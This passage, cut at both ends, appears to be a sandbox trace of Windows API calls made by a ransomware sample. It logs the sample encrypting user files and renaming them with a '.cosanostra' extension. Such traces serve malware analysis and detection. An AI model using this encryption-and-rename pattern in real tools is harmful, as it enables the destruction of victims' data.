lpNumberOfBytesWritten=0x26ff11c, lpOverlapped=0x0 | out: lpBuffer=0x26ff15c*, lpNumberOfBytesWritten=0x26ff11c*=0x4, lpOverlapped=0x0) returned 1 [0104.739] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff11c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff11c*=0x30, lpOverlapped=0x0) returned 1 [0104.739] CloseHandle (hObject=0x180) returned 1 [0104.739] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.cosanostra") returned 131 [0104.739] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\11_All_Pictures.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\11_all_pictures.wpl.cosanostra")) returned 1 [0104.740] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff160 | out: pbBuffer=0x26ff160) returned 1 [0104.740] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff158*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff158*=0x30) returned 1 [0104.740] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.751] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl") returned 117 [0104.751] StrStrW (lpFirst="10_All_Music.wpl", lpSrch=".txt") returned 0x0 [0104.814] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffbd9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.814] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x427, lpNumberOfBytesWritten=0x26ff11c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff11c*=0x427, lpOverlapped=0x0) returned 1 [0104.814] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.814] WriteFile (in: hFile=0x160, lpBuffer=0x26ff15c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff11c, lpOverlapped=0x0 | out: lpBuffer=0x26ff15c*, lpNumberOfBytesWritten=0x26ff11c*=0x4, lpOverlapped=0x0) returned 1 [0104.814] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff11c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff11c*=0x30, lpOverlapped=0x0) returned 1 [0104.814] CloseHandle (hObject=0x160) returned 1 [0104.815] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.cosanostra") returned 128 [0104.815] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\10_All_Music.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\10_all_music.wpl.cosanostra")) returned 1 [0104.835] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff158 | out: pbBuffer=0x26ff158) returned 1 [0104.835] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff150*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff150*=0x30) returned 1 [0104.835] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.837] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl") returned 135 [0104.837] StrStrW (lpFirst="06_Pictures_rated_4_or_5_stars.wpl", lpSrch=".txt") returned 0x0 [0104.865] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffcef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.865] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x311, lpNumberOfBytesWritten=0x26ff114, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff114*=0x311, lpOverlapped=0x0) returned 1 [0104.866] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.866] WriteFile (in: hFile=0x160, lpBuffer=0x26ff154*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff114, lpOverlapped=0x0 | out: lpBuffer=0x26ff154*, lpNumberOfBytesWritten=0x26ff114*=0x4, lpOverlapped=0x0) returned 1 [0104.866] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff114, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff114*=0x30, lpOverlapped=0x0) returned 1 [0104.866] CloseHandle (hObject=0x160) returned 1 [0104.866] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.cosanostra") returned 146 [0104.866] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\06_Pictures_rated_4_or_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\06_pictures_rated_4_or_5_stars.wpl.cosanostra")) returned 1 [0104.867] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff158 | out: pbBuffer=0x26ff158) returned 1 [0104.868] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff150*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff150*=0x30) returned 1 [0104.868] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.868] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl") returned 138 [0104.868] StrStrW (lpFirst="04_Music_played_in_the_last_month.wpl", lpSrch=".txt") returned 0x0 [0104.881] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffafc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.881] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x504, lpNumberOfBytesWritten=0x26ff114, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff114*=0x504, lpOverlapped=0x0) returned 1 [0104.881] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.881] WriteFile (in: hFile=0x160, lpBuffer=0x26ff154*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff114, lpOverlapped=0x0 | out: lpBuffer=0x26ff154*, lpNumberOfBytesWritten=0x26ff114*=0x4, lpOverlapped=0x0) returned 1 [0104.881] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff114, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff114*=0x30, lpOverlapped=0x0) returned 1 [0104.881] CloseHandle (hObject=0x160) returned 1 [0104.881] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.cosanostra") returned 149 [0104.881] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl.cosanostra")) returned 1 [0104.882] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff150 | out: pbBuffer=0x26ff150) returned 1 [0104.883] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff148*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff148*=0x30) returned 1 [0104.883] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.883] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl") returned 135 [0104.883] StrStrW (lpFirst="01_Music_auto_rated_at_5_stars.wpl", lpSrch=".txt") returned 0x0 [0104.885] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffbec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.885] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x414, lpNumberOfBytesWritten=0x26ff10c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff10c*=0x414, lpOverlapped=0x0) returned 1 [0104.885] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.885] WriteFile (in: hFile=0x160, lpBuffer=0x26ff14c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff10c, lpOverlapped=0x0 | out: lpBuffer=0x26ff14c*, lpNumberOfBytesWritten=0x26ff10c*=0x4, lpOverlapped=0x0) returned 1 [0104.885] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff10c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff10c*=0x30, lpOverlapped=0x0) returned 1 [0104.885] CloseHandle (hObject=0x160) returned 1 [0104.885] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.cosanostra") returned 146 [0104.885] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\01_Music_auto_rated_at_5_stars.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\01_music_auto_rated_at_5_stars.wpl.cosanostra")) returned 1 [0104.886] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff150 | out: pbBuffer=0x26ff150) returned 1 [0104.886] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff148*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff148*=0x30) returned 1 [0104.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.886] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff148 | out: pbBuffer=0x26ff148) returned 1 [0104.886] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff140*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff140*=0x30) returned 1 [0104.886] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff148 | out: pbBuffer=0x26ff148) returned 1 [0104.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff140*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff140*=0x30) returned 1 [0104.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.887] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff140 | out: pbBuffer=0x26ff140) returned 1 [0104.887] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff138*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff138*=0x30) returned 1 [0104.887] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.889] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff138 | out: pbBuffer=0x26ff138) returned 1 [0104.889] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff130*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff130*=0x30) returned 1 [0104.889] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0104.889] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms") returned 100 [0104.889] StrStrW (lpFirst="MSNBC News~.feed-ms", lpSrch=".txt") returned 0x0 [0104.996] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0104.996] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0f4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff0f4*=0x2800, lpOverlapped=0x0) returned 1 [0104.997] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.997] WriteFile (in: hFile=0x160, lpBuffer=0x26ff134*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0f4, lpOverlapped=0x0 | out: lpBuffer=0x26ff134*, lpNumberOfBytesWritten=0x26ff0f4*=0x4, lpOverlapped=0x0) returned 1 [0104.997] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0f4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff0f4*=0x30, lpOverlapped=0x0) returned 1 [0104.997] CloseHandle (hObject=0x160) returned 1 [0104.997] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.cosanostra") returned 111 [0104.997] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\MSNBC News~.feed-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\msnbc news~.feed-ms.cosanostra")) returned 1 [0105.000] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff130 | out: pbBuffer=0x26ff130) returned 1 [0105.000] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff128*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff128*=0x30) returned 1 [0105.000] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.001] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json") returned 164 [0105.001] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0105.003] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.003] WriteFile (in: hFile=0x160, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff0ec, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x26ff0ec*=0x2800, lpOverlapped=0x0) returned 1 [0105.003] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.003] WriteFile (in: hFile=0x160, lpBuffer=0x26ff12c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff0ec, lpOverlapped=0x0 | out: lpBuffer=0x26ff12c*, lpNumberOfBytesWritten=0x26ff0ec*=0x4, lpOverlapped=0x0) returned 1 [0105.003] WriteFile (in: hFile=0x160, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff0ec, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff0ec*=0x30, lpOverlapped=0x0) returned 1 [0105.003] CloseHandle (hObject=0x160) returned 1 [0105.004] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json.cosanostra") returned 175 [0105.004] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\messages.json.cosanostra")) returned 1 [0105.008] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff128 | out: pbBuffer=0x26ff128) returned 1 [0105.008] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff120*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff120*=0x30) returned 1 [0105.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0105.009] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 